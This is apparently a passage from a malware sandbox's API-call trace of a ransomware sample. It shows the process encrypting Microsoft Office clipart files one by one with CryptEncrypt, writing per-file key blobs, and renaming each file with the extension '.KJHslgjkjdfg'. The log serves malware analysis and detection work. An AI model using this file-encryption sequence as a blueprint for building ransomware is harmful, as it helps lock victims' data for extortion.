returned 1 [0159.051] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.051] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.051] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.051] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.051] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.052] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b1a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b1a, lpOverlapped=0x0) returned 1 [0159.052] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b20) returned 1 [0159.053] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.053] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b20, lpOverlapped=0x0) returned 1 [0159.053] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.053] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.053] SetEndOfFile (hFile=0x114) returned 1 [0159.055] GetProcessHeap () returned 0x2a0000 [0159.055] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.055] GetProcessHeap () returned 0x2a0000 [0159.055] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.kjhslgjkjdfg")) returned 1 [0159.057] CloseHandle (hObject=0x114) returned 1 [0159.057] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a68a00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7a68a00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1 [0159.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.057] GetProcessHeap () returned 0x2a0000 [0159.057] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.058] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.058] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.058] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0159.060] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.060] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.060] GetProcessHeap () returned 0x2a0000 [0159.060] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.060] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.060] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.060] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.060] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.061] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.061] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.061] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.061] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.061] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.061] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.061] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.061] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3044, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3044, lpOverlapped=0x0) returned 1 [0159.062] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3050, dwBufLen=0x3050 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3050) returned 1 [0159.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.062] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3050, lpOverlapped=0x0) returned 1 [0159.063] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.063] SetEndOfFile (hFile=0x114) returned 1 [0159.065] GetProcessHeap () returned 0x2a0000 [0159.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.066] GetProcessHeap () returned 0x2a0000 [0159.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.066] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.kjhslgjkjdfg")) returned 1 [0159.067] CloseHandle (hObject=0x114) returned 1 [0159.067] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dc9900, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1dc9900, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1 [0159.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.069] GetProcessHeap () returned 0x2a0000 [0159.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.069] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.069] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.069] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.084] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.084] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.084] GetProcessHeap () returned 0x2a0000 [0159.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.084] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.084] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.084] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.084] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.084] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.084] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.084] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.084] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.085] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.085] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.085] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a7c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a7c, lpOverlapped=0x0) returned 1 [0159.086] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a80, dwBufLen=0x1a80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a80) returned 1 [0159.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.086] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a80, lpOverlapped=0x0) returned 1 [0159.086] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.086] SetEndOfFile (hFile=0x114) returned 1 [0159.089] GetProcessHeap () returned 0x2a0000 [0159.089] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.089] GetProcessHeap () returned 0x2a0000 [0159.089] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.kjhslgjkjdfg")) returned 1 [0159.090] CloseHandle (hObject=0x114) returned 1 [0159.090] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec7300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7ec7300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1 [0159.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.091] GetProcessHeap () returned 0x2a0000 [0159.091] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.091] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.091] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.094] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.094] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.094] GetProcessHeap () returned 0x2a0000 [0159.094] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.094] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.094] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.094] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.094] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.094] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.094] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.094] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.094] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.094] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.094] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.094] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.095] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8e8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8e8, lpOverlapped=0x0) returned 1 [0159.095] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8f0, dwBufLen=0x8f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8f0) returned 1 [0159.095] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.095] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8f0, lpOverlapped=0x0) returned 1 [0159.095] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.095] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.095] SetEndOfFile (hFile=0x114) returned 1 [0159.098] GetProcessHeap () returned 0x2a0000 [0159.098] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.098] GetProcessHeap () returned 0x2a0000 [0159.098] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.098] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.kjhslgjkjdfg")) returned 1 [0159.099] CloseHandle (hObject=0x114) returned 1 [0159.099] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bc3900, ftCreationTime.dwHighDateTime=0x1bd4af5, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bc3900, ftLastWriteTime.dwHighDateTime=0x1bd4af5, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1 [0159.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.100] GetProcessHeap () returned 0x2a0000 [0159.100] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.100] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.100] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.100] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.101] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.101] GetProcessHeap () returned 0x2a0000 [0159.101] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.101] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.101] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.101] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.103] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.103] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.104] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.104] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.104] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.104] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.104] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.104] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.104] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2e0, lpOverlapped=0x0) returned 1 [0159.104] CryptEncrypt 